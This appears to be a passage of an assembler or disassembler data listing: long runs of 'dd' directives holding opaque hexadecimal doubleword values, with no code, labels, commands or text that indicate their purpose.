		dd 0ADD0D0F6h, 0CF251844h, 0E8FF62D8h, 0F6633CDEh, 426D33B3h
		dd 606C34DDh, 0F5F59F15h, 67E66FDFh, 6CA045C3h,	0E7280756h
		dd 0A324115Dh, 0B1629A5Ch, 0BC6F0281h, 2A7DDBD4h, 0E093647Eh
		dd 8E0FD19Eh, 0E9009920h, 27CF30EEh, 41D120CFh,	0E524824Ch
		dd 56911D17h, 127A4882h, 58FF2B78h, 323FF27Dh, 5BBAEAA5h
		dd 6AE655C1h, 0CCBCA867h, 29DF27C9h, 6D2B90E0h,	799E37ECh
		dd 4320C564h, 0E3741DADh, 8943224Dh, 3E7AEAECh,	0B888C566h
		dd 650DAE94h, 0CAEDFF84h, 2865DFBFh, 68A56A0h, 0DFEE82FFh
		dd 0C205B600h, 3A7BA461h, 64A303CBh, 28BA6B8Ch,	663FF246h
		dd 51F4932Fh, 8F01B101h, 0F78B40DCh, 0D1EB44D3h, 9509424Ah
		dd 8413CBDCh, 98A8DDAh,	0E8509E41h, 68C2E1BCh, 2C060E79h
		dd 25804575h, 0D1EF58F1h, 130A8B2Ch, 272BC8A4h,	0C4627971h
		dd 3A47CEE6h, 741524h, 0B15440Ch, 0E1224709h, 0AAB412FAh
		dd 5DC1E11Ah, 3F3E6EF1h, 34E3556Fh, 12C2C4E2h, 1170DD1Ah
		dd 8E56A8D9h, 0D00AA827h, 775BE40Ch, 0DBCAD85Eh, 641A23C7h
		dd 0B7CAF5EDh, 348FC727h, 0BE370EEAh, 31CC9D9Ah, 6707C4DEh
		dd 2523AECh, 7EB39A92h,	198C25F7h, 876AF0E4h, 7DD909D5h
		dd 658D8C28h, 0FE3FEF75h, 91FF3DDBh, 0CC8BD428h, 1B71C7DEh
		dd 97F6B834h, 0D0EE7h, 7FA4E6EFh, 9F77015Ah, 23A14B75h
		dd 458D7DF3h, 0DB94024Bh, 0E1B47DE7h, 0FE7D5D52h, 80FD0085h
		dd 0DE43C06Eh, 3570C63Dh, 53071FC7h, 0FED5F2E0h, 0A9F2A97Dh
		dd 22550361h, 0D37F1CEFh, 0A4904BA0h, 2AC172F9h, 9497F3DCh
		dd 0F9471940h, 0FFD1ED4Fh, 0AFDDC8CFh, 0CFE7150Ch, 0F46CF4h
		dd 0CE5CD6F8h, 1F8D768Ch, 0C29A222Ah, 5803EDAEh, 0BE9C6E8Fh
		dd 0A9E494CBh, 0A5B286DEh, 0BD1EE8C9h, 998D2C4Dh, 0FDA63009h
		dd 59FA1046h, 81720CACh, 0CD7BF577h, 0B0EF9944h, 89B96C51h
		dd 17300E65h, 303412EAh, 14A0964Ch, 539260A8h, 0B99CA209h
		dd 4679B14Eh, 754B8321h, 0F734B387h, 0CA67E074h, 7947C5A0h
		dd 0C92B96B6h, 1A603231h, 47C06FADh, 5DF4765Dh,	1965B371h
		dd 1557B5A5h, 5FB991D0h, 0A1B6364Ch, 0D59C9B2Ah, 0BC7D83BDh
		dd 25370D6Ch, 3BB6BB2h,	2B7E16A6h, 90B9B60Dh, 0E49180BBh
		dd 7444A8A7h, 43662B55h, 0DE73824Fh, 0DD1880A0h, 59168080h
		dd 0D87CED3Ah, 1AF6A3E1h, 245C22CFh, 0C151C595h, 0A06D36E2h
		dd 7FEF3A2Ch, 6C53D794h, 8A2B4ACEh, 7ED0AA34h, 0E1F8CCDEh
		dd 64DE5180h, 6A18FC8Eh, 0EDAD55BCh, 0B0E12885h, 4F26F271h
		dd 0B7489400h, 2A242E6Fh, 0F5B10AABh, 57653663h, 0B564737Eh
		dd 481DE321h, 9D196C6Dh, 0CF4911C5h, 51A54714h,	0D329608Bh
		dd 0CEB4FD0Ch, 0A65B8D44h, 0C386CFD3h, 4C85EFECh, 0C1FF9A08h
		dd 8063CE61h, 1100B109h, 19835C80h, 31AF8105h, 345F4DD8h
		dd 0FF30A1DCh, 45C1CF05h, 47304FE2h, 627A38ADh,	0B2AD6E2Dh
		dd 0B21B210Ch, 0ADF72B9Bh, 0C03A02CBh, 0E5A23E88h, 0B05243E4h
		dd 1D6BCB10h, 0C34F36E7h, 0B9D4A5h, 472B93B4h, 39AD40FCh
		dd 219EF207h, 8204A657h, 0B8FABEA2h, 0AD80DEE0h, 9AEEF0CCh
		dd 17A0D892h, 0B9631AACh, 5ECA5701h, 87FDF2F4h,	441052BFh
		dd 0AF003904h, 0BCE8730h, 88207266h, 0D6C2D48h,	0D48175Bh
		dd 5D7EE9Ah, 0B5D85E6Ah, 47C58F4Eh, 79E7E5EFh, 5E072CADh
		dd 6E39F8Fh, 0D4F615E8h, 0CF6C69F3h, 874775DCh,	0AACE24D2h
		dd 0E454D939h, 9FFC810Eh, 0A3F8CB0Ah, 40F5BE19h, 2D458545h
		dd 63C28841h, 0BC2AD17Ah, 0C0F1F877h, 0F94A7B85h, 0E08BFF10h
		dd 406A9D6Dh, 3365579h,	0A289872Fh, 5C59A609h, 0B302EFCEh
		dd 45061BDEh, 0D4777052h, 3B696392h, 0BB5975B4h, 0F96F1009h
		dd 0A2AEFE65h, 0DEA4A217h, 87497979h, 74FEFBCDh, 676D67FDh
		dd 0EBED7E09h, 6A9F6ECFh, 12E349F4h, 21C7F316h,	0C6208D42h
		dd 0EA5DA703h, 92439F4Ah, 875979B6h, 0E0DDAF97h, 703990EDh
		dd 0E04699BCh, 0DF823447h, 0A073A6FEh, 783C4681h, 0F058501Ch
		dd 1DEABEB8h, 0E121E147h, 8C3BB35h, 6E60A654h, 0AE74233Bh
		dd 8A944A3Dh, 3E6C4C91h, 0E9685CBCh, 0C252CD87h, 3EBFDA4Fh
		dd 6351A645h, 0C047255h, 784609CEh, 99A9521h, 95B88887h
		dd 792347DEh, 25B5DC0Ch, 2C021EE5h, 48F3499Dh, 0AFBC4EADh
		dd 44231F82h, 0CE8F2E20h, 0F41FBC02h, 8C54EBC2h, 65696C54h
		dd 0CEB3AF63h, 0C6D1A364h, 108D825h, 0AD62EBF0h, 782CE2D4h
		dd 8CBD683h, 7A39E06Fh,	1930AEDBh, 5FA5DA90h, 0CC6E6162h
		dd 350F03CAh, 35387B90h, 78EB6AB6h, 0AF9E16E5h,	5E3A5AD2h
		dd 2432B116h, 1E81E0B1h, 4D931083h, 0C2E18361h,	0DDDC538h
		dd 37F6DCC5h, 42036BECh, 122C2D3Fh, 53899A81h, 727FD14Fh
		dd 402659FBh, 32DAD5D6h, 0F7FAA0ADh, 81661CA3h,	1584FD41h
		dd 5E01131Ch, 0D771D1DAh, 9B1E9A2Bh, 42D48444h,	813CC322h
		dd 494D58D2h, 3D2FB5A6h, 0CCF3DC8h, 0F597281Ah,	90A1EA61h
		dd 2822C647h, 0C93FDFA9h, 7209F0BEh, 0C8974C01h, 2F32E6C5h
		dd 197B397Ah, 262BBD44h, 0DF6C49DEh, 4E01E88h, 588C44CFh
		dd 32088BCFh, 0F395FEBh, 8F31BF5Ch, 0AEBEA487h,	41AD74D0h
		dd 850918D7h, 160953D5h, 59EE01A7h, 0FB2170A0h,	54D5E101h
		dd 76FDD3F1h, 3DC8EDC0h
		dd 9580D015h, 35965BE7h, 193DE830h, 5B166FA3h, 0C3031392h
		dd 32D57E7Dh, 0EF0494DFh, 1AF43E2Bh, 5AAD4709h,	0E0FF263h
		dd 0EED7213Ch, 67375596h, 0B2B9A1E9h, 0B2C763ECh, 93D85D37h
		dd 65481254h, 30BD90Ah,	0EF27AAB2h, 0D4F693B9h,	2AA90D6Ah
		dd 25D28A57h, 3766AD97h, 0C25A01C9h, 5F41E0h, 0B6D168D4h
		dd 7C7161A6h, 0D3BC99B4h, 0D6235040h, 55AD9432h, 11CB8ED6h
		dd 0FE9199EEh, 3A106A62h, 73A0F132h, 8FE49E63h,	0B971BD5Ch
		dd 0A0026098h, 0D73B1B2h, 7AC2D7BFh, 0C2B2889Dh, 6406061Ch
		dd 0B42DC55Ah, 0ED3522B9h, 99128F59h, 0B102BC2Dh, 5250BE1Ch
		dd 30188468h, 0FA7FD198h, 8D4C714Ch, 81E3D54Dh,	0B53A7AACh
		dd 23F358A5h, 4DF05F71h, 6997E867h, 86B02AD5h, 0E69A1A3Ah
		dd 0CE3AD37h, 80DC5F2Ah, 8D536A35h, 16E34CC7h, 0F2765CCDh
		dd 9BA5C4D1h, 24016F3h,	0DDE550B9h, 0EB0B35DFh,	14878D13h
		dd 0E1518193h, 8FC711AFh, 29428C8h, 0ABC20A00h,	73B4B147h
		dd 2570DF57h, 57BED3DFh, 5B87CE88h, 26555197h, 244CF57Eh
		dd 0BF9F5D32h, 6A9BC876h, 0F2FF6A8Ah, 98FB54A4h, 6C6362D0h
		dd 59E71F57h, 605BE4B4h, 9CEB0831h, 44797637h, 43625498h
		dd 2866F1B8h, 46E5188Fh, 651F5675h, 46D8346h, 78102F80h
		dd 0E39FE32Fh, 4F246E8Dh, 0F3AD2743h, 9AD79ACFh, 45AA6406h
		dd 3782E32Ah, 0F9302401h, 2B544190h, 4430F702h,	6F2FA99Ch
		dd 0AB1B401Ch, 0F9C1D39Fh, 5AECE29Ch, 7AC8937Dh, 0CF986908h
		dd 27DD09E1h, 0C07E5FF9h, 7CB0339Ah, 13BCDBF7h,	52480156h
		dd 0E70EDC40h, 33E749F4h, 0ACEAC4F0h, 230E17D5h, 0F88B177Fh
		dd 3583E200h, 594BF828h, 5BB87D1Fh, 0DE69D122h,	0E1EEB5B5h
		dd 0FC42D618h, 2A345408h, 0DB94EEC1h, 98AB5D6Dh, 59E5772Dh
		dd 0CCF33BDBh, 693BFF7Fh, 160DC78Eh, 82FA7A51h,	0E507743Fh
		dd 2164260Ch, 6B900CA3h, 6578B714h, 2DBAC0E5h, 32C0133h
		dd 3A90ACF4h, 0A9015F95h, 0AF37B8F7h, 0AF08E670h, 59A421C1h
		dd 0F85B8F55h, 0D704FA2Fh, 0C74C3CD7h, 621E3D8Fh, 71FDAF2Fh
		dd 5557C697h, 0E880864Fh, 3BF2E720h, 7FB1AD3Ah,	28C85F11h
		dd 5892BA8Eh, 0CA15CAF8h, 0A93E3EA1h, 0D17BFC2Bh, 243201D8h
		dd 0DB9434DCh, 60A3C1A4h, 0BAF74D73h, 0C9882283h, 0E1123494h
		dd 0F632493Dh, 0B483AD8Ch, 1EA21D4Ah, 0BB500027h, 9E1225EFh
		dd 63639EFAh, 0E4C1E346h, 87C5E0DFh, 7CA6992h, 0C4BC73E9h
		dd 0D20A0EFCh, 0F77D0400h, 38E3BFC8h, 0ED8923Fh, 0A83E53C5h
		dd 6E62771Fh, 5B817839h, 5412C50Ah, 967A1288h, 14CA7E68h
		dd 8A9B30A8h, 843DDCF8h, 3313D345h, 99F69962h, 525B8162h
		dd 58EC004Bh, 2F7898Dh,	963C5658h, 471ED719h, 470D3753h
		dd 0D9D5DD5Ah, 80CC0927h, 0EA1F4F83h, 3F289A4Bh, 47260A33h
		dd 884A2845h, 9515CAFCh, 594E24E4h, 31186BB1h, 0C8CB5681h
		dd 0BB4EA1BCh, 17BDCC4Dh, 13E9E2B8h, 0EC984227h, 809786CCh
		dd 0A2BD238Eh, 0FD6E5DA3h, 730C9A83h, 557E036Bh, 0EAA59BDCh
		dd 83ED9A12h, 8810855Eh, 2D371C07h, 1819F6A0h, 7E32E31h
		dd 7E07CCE7h, 14361212h, 1227EE72h, 178D419Fh, 60ED1461h
		dd 0DE3A540Dh, 9232A7B1h, 481EBC0Bh, 8442CB19h,	27EF241Ch
		dd 347C3E2Dh, 332DD986h, 7EA6420Fh, 0ABFF4187h,	0E5B0C39h
		dd 0FD2462ECh, 4F85E127h, 71509EB6h, 4649FCF2h,	225876E2h
		dd 487C3AA1h, 0C3E8094h, 0DB39C926h, 0CA5E0262h, 23165F60h
		dd 194192C6h, 0AD521CADh, 0B2141E6Ah, 768D5F43h, 86D68122h
		dd 0C86F2D6h, 0BDBA7D5Dh, 0EB41DAF4h, 4BA6048Fh, 7A153E7Eh
		dd 1F815C0Eh, 33B7F85Bh, 0EE3A5F8Eh, 6575B0Bh, 2702E99Eh
		dd 647136F4h, 0C978A6A2h, 0BBCF0A6Bh, 45E8C085h, 879BF962h
		dd 0CB14800Fh, 43DFCB43h, 0FD96DF17h, 0F0B36662h, 51032CABh
		dd 0C8D32138h, 2AEFDC77h, 2D7768E8h, 0FD7D387Eh, 9AA9191Ah
		dd 169A7D80h, 0DE5D0D41h, 0B224787Dh, 16FB4808h, 672E8D5Ch
		dd 0BFBACAC8h, 13226823h, 0D693E010h, 44CFC2E5h, 0B412A9E4h
		dd 16E52569h, 722F21F6h, 0EC8994EAh, 0F30C6157h, 4E1A6109h
		dd 0E5DC9D37h, 0FC6542B9h, 0C2E0A358h, 11F36756h, 60F95042h
		dd 5C2C9824h, 5BD90773h, 0BA3A4B5Eh, 0BD900CA2h, 3E2954DDh
		dd 43F27AE7h, 30A3311Eh, 2ACBACCCh, 25687EB3h, 0EC6859F5h
		dd 2305D5BBh, 154C74EBh, 9D34ED2h, 0AA5CBF5Ch, 35E6403Eh
		dd 2A4C284Eh, 0A8B9E19Eh, 230E0A60h, 505F7FBh, 0A221D4Bh
		dd 0B7BBC024h, 0AF0859CCh, 36FFA35Dh, 7B5D8BB2h, 7D29CDEBh
		dd 0BCF82DA8h, 4423AEC5h, 42A43B2Eh, 0EF4A8D70h, 0A4B38691h
		dd 1CAF9012h, 0B0B61B06h, 2E352A68h, 0D676498Fh, 4EB6C2DCh
		dd 70779EFFh, 263026AEh, 364B64F5h, 6F65E8F4h, 1CDE0EF2h
		dd 0CC504A2Ch, 520D2379h, 2BDC2345h, 0AA3AA53h,	0EA83C2EFh
		dd 31AC1BC9h, 7A7BD35Bh, 6E793F44h, 0AA697D07h,	0C627DC31h
		dd 7770A9F6h, 17C3486Ah, 641DA55Fh, 46887DD0h, 4F8AC328h
		dd 10A25C88h, 7B670D02h, 57F242EDh, 72AA42F6h, 7F2F7D6Ah
		dd 0BAD4C2C5h, 2E536E7Fh, 0CE011311h, 473002FAh, 47799859h
		dd 0BA0C9DBFh, 3A15A580h, 0D231B261h, 39FE8A88h, 2A979300h
		dd 0FAFFFA12h, 28976BCh, 0B95D43AEh, 0FE83862Dh, 87C57E5Bh
		dd 44C1196Dh, 7EC05994h, 9871D2C5h, 0E0DFB05Ah,	481E26E1h
		dd 13CAC1ECh, 0EC0381C1h, 376CBB96h, 967E4547h,	5E75DFBAh
		dd 0D9CAF961h, 0AEE66011h, 0BB3F7E29h, 302F9486h, 7D73CF02h
		dd 1E54ECF2h, 7619312Ch, 13692C9h, 574AC1EFh, 0FBEC4929h
		dd 54747FEBh, 79ACAAEBh, 9B681E54h, 6F3DAEC1h, 0C3477DFEh
		dd 0EA484405h, 9F892E80h, 0BF857D6Ah, 37474F7Eh, 3C55E08Ch
		dd 38C09C09h, 513BB1CAh, 33E9698Fh, 38B8AE7Fh, 0A1A2D53Bh
		dd 5584C771h, 82FBF21Eh, 0AABC90B2h, 0B7115FBEh, 0B766A3E2h
		dd 209FD9A3h, 20E93700h, 0E2845EF1h, 0FE123A86h, 888E5962h
		dd 2DF86C4Bh, 4AED2BF1h, 0BA7D774Dh, 7DB53A8Eh,	0AF63A181h
		dd 8016DDF8h, 0F6765465h, 87CFF649h, 0D31E03EAh, 4B25A44Ch
		dd 0A959240Fh, 2BDD7E38h, 0D1931EB2h, 0B1458A39h, 1E2CCC66h
		dd 54179DBFh, 0A542C5C2h, 0A8342F57h, 0A68AE546h, 475C8B46h
		dd 94101887h, 0BE47A1A5h, 40783A8h, 0C0438E0Ah,	324DC768h
		dd 0FC58F01Ch, 58D6E111h, 0B2A1AFC0h, 0C2713F17h, 0F081B2Eh
		dd 0C6663A4Bh, 50CC4FF1h, 0D8D8037Fh, 75222606h, 31B1BEF3h
		dd 0C2D16475h, 518AC553h, 4CB75F8Ch, 3261BB21h,	8C1A6665h
		dd 0FCE37025h, 0ADA308BEh, 45C559E5h, 16A97F3Bh, 0F9AE8E9h
		dd 22B6841h, 0F63F5A92h, 41893371h, 2E03E3A2h, 0E49D196Bh
		dd 66726F45h, 3F331AA9h, 0D1027685h, 95963E0Eh,	687A8538h
		dd 6E8DB03Fh, 4F0C5888h, 0EBEAE36h, 0CA52B946h,	2F66460Eh
		dd 9FFE4A19h, 0F6DFA3EFh, 8E35EEE6h, 0AFAD2343h, 4C127ECCh
		dd 0ECA0ED07h, 0EA3B14Bh, 11ED3230h, 55B64512h,	58B74349h
		dd 601EC143h, 0F375950Fh, 0F31FFBCFh, 0AC7A0D66h, 0F99ADDD5h
		dd 22F1EFF1h, 664D1873h, 11099483h, 0B611871Dh,	0F0ADCB15h
		dd 998538E5h, 9B9D2C20h, 0F392EFDFh, 291973A7h,	0CD7025A3h
		dd 86C5388Dh, 0FCB70816h, 0A8E20A99h, 0CBDDDA6Bh, 0AE6F0D72h
		dd 6BCB500Ch, 0B44345AAh, 2DC8349Dh, 7FB7CC2Ah,	4AD7DEA2h
		dd 0C4362747h, 2B4A07FEh, 452AD177h, 0DCB917BEh, 0D29DAF57h
		dd 4344A425h, 0BF5A69D7h
		dd 5BED1741h, 9646A149h, 541B83DEh, 0AC268A56h,	0AE3C6A35h
		dd 0CF2CFEDEh, 4D62FCF4h, 0B9583609h, 0A71522ABh, 0C6CEEF33h
		dd 0AB9596B1h, 87EB3F53h, 85FDEABh, 0F0485329h,	4B9D5F5h
		dd 0F975B8BEh, 9D872A93h, 8B9CA2CEh, 0F7EC35C4h, 0D6199E0Dh
		dd 75148AEBh, 0A7BD91E3h, 0D304785Fh, 792FE96h,	0A38E6CC0h
		dd 0C24A3E86h, 56019695h, 7B509CA5h, 15E0C8F2h,	0F8D015BCh
		dd 5D332C71h, 0AC39396Ch, 59C824FBh, 0EE20E94Dh, 0C09015DAh
		dd 1CCE3F5Fh, 4C793C26h, 73CD0056h, 0F5FA64C7h,	0DF29C569h
		dd 66F2B0B9h, 35C194F3h, 5BA80A89h, 0B3541512h,	4D3895ABh
		dd 0EA874189h, 8E034598h, 5C2EC8C9h, 0FC8A484Eh, 7161066Ah
		dd 695D55E0h, 3391787Eh, 4FD3E2C7h, 0F1F0CFBDh,	8408A1C6h
		dd 64BDE8F6h, 0EA129D27h, 0B7CBF040h, 48D7B969h, 9D77788Ah
		dd 4EABA27h, 62040009h,	0D10117B6h, 2A94CFA6h, 19B77858h
		dd 0C296F2D5h, 984A6D97h, 2466DF65h, 8B972D01h,	91903E80h
		dd 38DD09A8h, 0AD396C61h, 782F79CAh, 0C5D40B88h, 0B17F9D88h
		dd 0E17DDDC9h, 9555031Ah, 4B2676C3h, 5565BB0Ah,	0D5649456h
		dd 3E661DC4h, 18DB66F5h, 4F7332B6h, 0B9C7E103h,	8E2A9175h
		dd 0C1B8781Bh, 6B03048Dh, 9FE15BE7h, 89783097h,	85F1A6DBh
		dd 683F2A5Ch, 3E87FBE7h, 51927FA2h, 6866C7A6h, 5A99CEF9h
		dd 0F56AD395h, 0EEF09A24h, 2C8BE117h, 28E1A0FAh, 0BCB1FF80h
		dd 0E1E863DEh, 21A5699Dh, 0DDD57587h, 0DDD6CAD7h, 0EBEF9D37h
		dd 0D860BF5Ch, 8FB870E3h, 0BF828AC6h, 9A3F6EF8h, 0CA16B0A7h
		dd 17769F38h, 769F6984h, 0C6B73EC1h, 0ACD39490h, 0C599203Bh
		dd 0F3890CC3h, 5E287263h, 0BD933A24h, 624BA646h, 5209F20Eh
		dd 24796A20h, 0F06A3A4Eh, 1E1D97D6h, 85EA4A78h,	7C3FEF21h
		dd 6C6A2C45h, 171D2F7Bh, 6F5700C8h, 0DC582722h,	2E5DBFDFh
		dd 0D2EF3EF1h, 0FB4C9216h, 0E591667Bh, 0E20EDADCh, 0F749736Ch
		dd 61B20B1h, 0FD4AD00Dh, 0C3D4656Ch, 7272E5CFh,	0BF63B3F5h
		dd 0D834FCAEh, 91479C33h, 0F96C52A7h, 11F317E1h, 68F44AD8h
		dd 76969CA9h, 0C93ABE99h, 860AD0E0h, 82BC6487h,	8CD22E95h
		dd 19163D31h, 1B3218C5h, 927E1E71h, 0FB2E8E7Dh,	0A97CFB82h
		dd 0DEC9E71h, 0AAE02A66h, 0F6BCC451h, 0FFF9CBCCh, 0A1419D27h
		dd 88CCF5BBh, 5CB03388h, 67F75FFAh, 1FAC2420h, 57A99AA2h
		dd 4E85991Ah, 8E2511FEh, 9BA0B9EAh, 6000A35Dh, 0A64E1149h
		dd 9637B169h, 0A2ECFF2Bh, 0C26963DBh, 0D3360122h, 1775D191h
		dd 4C29C704h, 81F2C477h, 0D7B4E1E4h, 0F48E2F90h, 0D08CFA1Bh
		dd 0C1853F47h, 8F2216C3h, 0C0ED1047h, 66227F45h, 0F8189513h
		dd 0AF56BDF4h, 0FD32BE74h, 3ED2FFFFh, 8DCF510h,	973F9FEBh
		dd 0CA3B042Dh, 10DAC3DFh, 0F5EFF6C9h, 0DE455A32h, 421671BEh
		dd 0DD12E025h, 82DC0DDBh, 9B766B32h, 5944E618h,	0E6CECC47h
		dd 4A9EC01Dh, 0CE9A5565h, 4443FA29h, 3845D3Dh, 695D6758h
		dd 0DAD8E843h, 3BF0F499h, 0E1635D74h, 0E0A78662h, 1456B4DDh
		dd 9A2F63A1h, 0B59B4DBDh, 0E7E87511h, 0C3CC987h, 3493A47Fh
		dd 0FC79026Eh, 0A50140A3h, 7742185Ch, 0C457C6Ah, 9019BEA9h
		dd 0B87E0B0Bh, 2DA79E2Fh, 0FBE11E93h, 0CAF48FFAh, 1B79B725h
		dd 0ABC6AB9Fh, 0FE9A92F1h, 0C0C7B250h, 635973B3h, 173981E7h
		dd 7E7A3605h, 9843AEC9h, 0B51BA014h, 2C3E4D7Fh,	570A7341h
		dd 4FF2FA54h, 29573605h, 45250194h, 4E561FD2h, 1A2E3E75h
		dd 3B23A5Fh, 60F16D08h,	0EAB4FD03h, 9EC9DB6Eh, 0F901E298h
		dd 213FB090h, 9E39766Ch, 0DA0B3607h, 18488E1Ah,	0CD10A087h
		dd 0F9F28C6h, 0FE8DE72Bh, 0C6EA0723h, 4F20EADDh, 2C021BE1h
		dd 1DF83FB1h, 0D6F6BE4h, 347C55CDh, 0B4F7CE12h,	0E9AC4E9Bh
		dd 93092BA6h, 0CC406A5Bh, 54002F2Fh, 0C9E30D9Ah, 0BB1243C7h
		dd 1E81F350h, 96727553h, 546BE695h, 77DDB84Ch, 76C97AEDh
		dd 94C821B3h, 9F5AAC17h, 0DD7118AEh, 0B16531E0h, 0F57481B0h
		dd 23FFEAEFh, 0DB3DBB25h, 29244F1Bh, 3C76B7BDh,	0D17DED4h
		dd 6B3B42Eh, 68CD9161h,	7705448h, 0C7B060EDh, 251D921Ch
		dd 0DCCACB1Bh, 95271B63h, 0FD7AEA33h, 70CACB8Ch, 9549DB51h
		dd 291BD0C5h, 2370F0C7h, 9A9A0812h, 531D9A5Ah, 0CA5FEBC6h
		dd 2EE3BF09h, 4F17699Dh, 8DE2A81Bh, 5823AB16h, 415D5095h
		dd 25393B6Ch, 9E3B4F46h, 0DD7CC641h, 1B78C9A3h,	0BDDA65F6h
		dd 0C50C4808h, 11B1BD2h, 0B736F323h, 0F68E69B4h, 5AE669A4h
		dd 0D8F3BF4h, 0BEF6AA12h, 0B95E1D90h, 0A546297Dh, 9ABC5953h
		dd 0DD7F48CEh, 7EBB792Dh, 0F3EED46Dh, 0B5202234h, 0D4E8E26Ch
		dd 0DF8A6B6Bh, 3346EF1h, 0F6967BD8h, 9DFC2B30h,	0B9110AB1h
		dd 3226058Ch, 2D2D9063h, 0BC3DF933h, 0B9C6F69Bh, 0C8EB7C32h
		dd 0C6C3668Fh, 1D2AE266h, 0C7C7400Ch, 61D7CFE4h, 45A0C11Bh
		dd 0A216FA7h, 8764E6EDh, 0D80DB857h, 8589EFB3h,	0CCC8CC29h
		dd 7C6FDDF3h, 0A2205D7Ch, 0ECA46DD7h, 953CD500h, 0A46DCBB2h
		dd 40C71604h, 0CF819ED7h, 0EE217A5h, 79CCCB4Bh,	0AAD14118h
		dd 3994E4B4h, 0C3933FF8h, 44FDCF05h, 8523A6E8h,	0E4C1DB60h
		dd 0C6A9757Dh, 62F3FADEh, 0ACEA4D09h, 167C3B9h,	0D4DB2971h
		dd 7A5B5EF3h, 0C2E51CF0h, 724A45BAh, 3287522Bh,	0C19B0048h
		dd 3FE90C78h, 16DB90D6h, 338AE8FEh, 855C9A60h, 885A6A6Bh
		dd 0AE41301Ch, 0FDC6152Ch, 7D3A6E84h, 0B1D53FD2h, 935ED42Ah
		dd 0B0EAF375h, 3772F0E8h, 0F9193391h, 0AB2A5D88h, 45636CCAh
		dd 35BF7F9Ch, 8126BD7Dh, 35ABC451h, 724063CFh, 0D6D0ECF2h
		dd 7BC11029h, 0E97A3BC1h, 8E3158D2h, 0A1D60B81h, 2D24560Eh
		dd 0D8F9D221h, 8D612261h, 5F3B5675h, 0DDCB6466h, 271EFDADh
		dd 0DF21D54h, 0FBC27903h, 8DF40BA9h, 0C4B3D55Fh, 79360379h
		dd 73B30648h, 409E77E4h, 0A9A09E2Bh, 2311AA28h,	59117FE7h
		dd 3B11F8AAh, 0D6FA9575h, 0F63DFD90h, 3D037463h, 2AB7C795h
		dd 8A980988h, 0FA0ED99h, 0B68381F0h, 6AD5C2B0h,	0A526E85Ah
		dd 0FBDB08F2h, 0E359999Bh, 0D581F167h, 0DF1A9518h, 31466E66h
		dd 4674EEh, 74B1C979h, 29F9C295h, 335A01AFh, 0E3EE05B3h
		dd 0E5E363D5h, 0B0252A1Bh, 0F6DBF224h, 9EDBB461h, 0C2418CA6h
		dd 0F11522D3h, 66AB731Bh, 56D87467h, 710B9223h,	0B25ED5D8h
		dd 630CCC75h, 0CC9A6D44h, 0C8A3FA90h, 1346ED0h,	0F66CB294h
		dd 41E82BA6h, 0A716919Eh, 0AE4B9CB1h, 9F3863B8h, 0F3B2A626h
		dd 0E98A1E64h, 0CD7F5146h, 0FD3D3E5Dh, 0D29E63D9h, 139ED709h
		dd 74E34279h, 0F9BB7689h, 0F9FF705Fh, 0DA424427h, 92361CA3h
		dd 92943569h, 2102E32Ah, 192BB4C4h, 0A4FE73BBh,	0AB5B99D1h
		dd 0C996E9ECh, 34A1DD94h, 0FF66244Ch, 6706F3BBh, 7074B91Ch
		dd 1237302Dh, 0FA4FC187h, 8661F3F7h, 0E0F727C0h, 12713D2h
		dd 0C27C08CCh, 0E2C817BAh, 83CD6C89h, 0CED85B45h, 573C39C5h
		dd 53199201h, 20B5C546h, 45ED92B1h, 74485DD7h, 4F2BD28h
		dd 3E71EFAEh, 13AC03Bh,	8EB7E8F0h, 1BC3228h, 7704A169h
		dd 3CB96151h, 76F839A2h, 0B8479D1Bh, 79EF186Bh,	2F9FCC6Fh
		dd 1531DBCh, 4D03AEF6h,	0CF6EC62Eh, 69C1AC90h, 0B9B3EBE1h
		dd 0BB65F4D3h, 0C968155Bh, 28A2D47Dh, 0CFEE5740h, 66A5E869h
		dd 0B10AA19Fh, 4BF8DF0h, 0CB3FF7EFh, 8C2747C4h,	0C94E29DAh
		dd 44F5F4F1h, 0C3991826h, 0DBB28370h, 9907EBAEh, 10C9472Eh
		dd 40C9BBFCh, 4BF9A524h
		dd 0EE659E66h, 9B99523Bh, 11BD04F5h, 4062A21Fh,	15D5D288h
		dd 703F9B4Eh, 44743987h, 1EE78B4Bh, 98B5FB8Ah, 0E1585E80h
		dd 146D861Dh, 6CF6858h,	816EE75Bh, 0A3F0280Fh, 240C695Ah
		dd 68E953AAh, 0E03823ECh, 0E9FBC7AAh, 7665D4BAh, 64583159h
		dd 0CD2D7041h, 40AC631h, 0A72C64DDh, 0FC0099CAh, 0B006FE3Ah
		dd 7FDB582Ch, 0FC87EC6Bh, 79D02358h, 0EDE67E8Ch, 57DCAE3h
		dd 0FBA122F1h, 5864A05Fh, 35AFE950h, 7E439958h,	0F70491B7h
		dd 70B3104Bh, 0DCD99DDFh, 82A7C610h, 5C94511Ah,	7F6FA94Eh
		dd 0A6B0908Bh, 0F79BB64Ch, 4B4C925Eh, 5AEF0B87h, 0AA981DDEh
		dd 78BF7C42h, 764A6652h, 0B8571C19h, 3CAA5557h,	0A159B00Ch
		dd 0EA2C65E5h, 548DAAA9h, 8B9D9487h, 5D6779E0h,	487EBC2Fh
		dd 55B259B1h, 5BFB949Bh, 22A31460h, 0A3F6EDC0h,	6545D776h
		dd 0D2C75A81h, 0D0F08CA4h, 889086DAh, 0B4F4AC23h, 72193D63h
		dd 96062EE0h, 0F5340531h, 34990028h, 7C0ED6F4h,	0B43E538Ah
		dd 2D0220FBh, 0DB5E30D9h, 483B08B8h, 0CE92E1FDh, 11EBECEEh
		dd 0BC2DE717h, 6404422Fh, 7F80E909h, 0E1C0E489h, 25CBF745h
		dd 95F8FF1Dh, 7275FDB9h, 65DA0D87h, 70FDD9ACh, 45BF4808h
		dd 0A4315CFFh, 35CCC4AEh, 0FA345658h, 0ABC15515h, 3EA5311h
		dd 0FF7A21FBh, 5C8E082Ah, 8891590Bh, 9DA0FA27h,	142C0278h
		dd 0ECA54D80h, 0A1833819h, 5A059BA9h, 7B43F08Fh, 0E162B953h
		dd 0AE36A2CEh, 0DF2F5B0Ah, 0A442CB73h, 3DB11E37h, 0FD371864h
		dd 0FFE4AE6Bh, 5637433h, 172DCDEBh, 0FDD0FA94h,	0D42A0497h
		dd 0CB7F4714h, 21AE3A6Bh, 5B279359h, 0C87AB016h, 8111B4Ch
		dd 22E602EAh, 0C7CB791Eh, 6B15A9AEh, 0CBED3861h, 0A63CAA47h
		dd 8AB58C11h, 19A1595Eh, 9E531347h, 13C1E5E2h, 0CF617F8Fh
		dd 281F4AE6h, 303774DBh, 0E43BBF3Fh, 0F92B1EC7h, 2FB78944h
